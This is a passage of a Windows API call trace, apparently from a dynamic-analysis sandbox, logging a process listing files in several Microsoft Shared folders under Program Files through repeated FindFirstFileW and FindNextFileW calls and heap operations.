lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.620] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0165.620] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0165.620] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.620] GetProcessHeap () returned 0x6a0000 [0165.620] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.620] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0165.620] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0165.620] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0165.621] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0165.621] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0165.621] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0165.621] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.621] GetProcessHeap () returned 0x6a0000 [0165.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0165.621] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0165.621] GetProcessHeap () returned 0x6a0000 [0165.621] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0165.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.621] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.621] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0165.621] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0165.621] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.621] GetProcessHeap () returned 0x6a0000 [0165.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0165.621] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0165.621] GetProcessHeap () returned 0x6a0000 [0165.621] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0165.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0165.622] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.622] GetProcessHeap () returned 0x6a0000 [0165.622] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0165.622] GetProcessHeap () returned 0x6a0000 [0165.622] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0165.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0165.623] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.624] GetProcessHeap () returned 0x6a0000 [0165.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0165.624] GetProcessHeap () returned 0x6a0000 [0165.624] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0165.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.624] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, 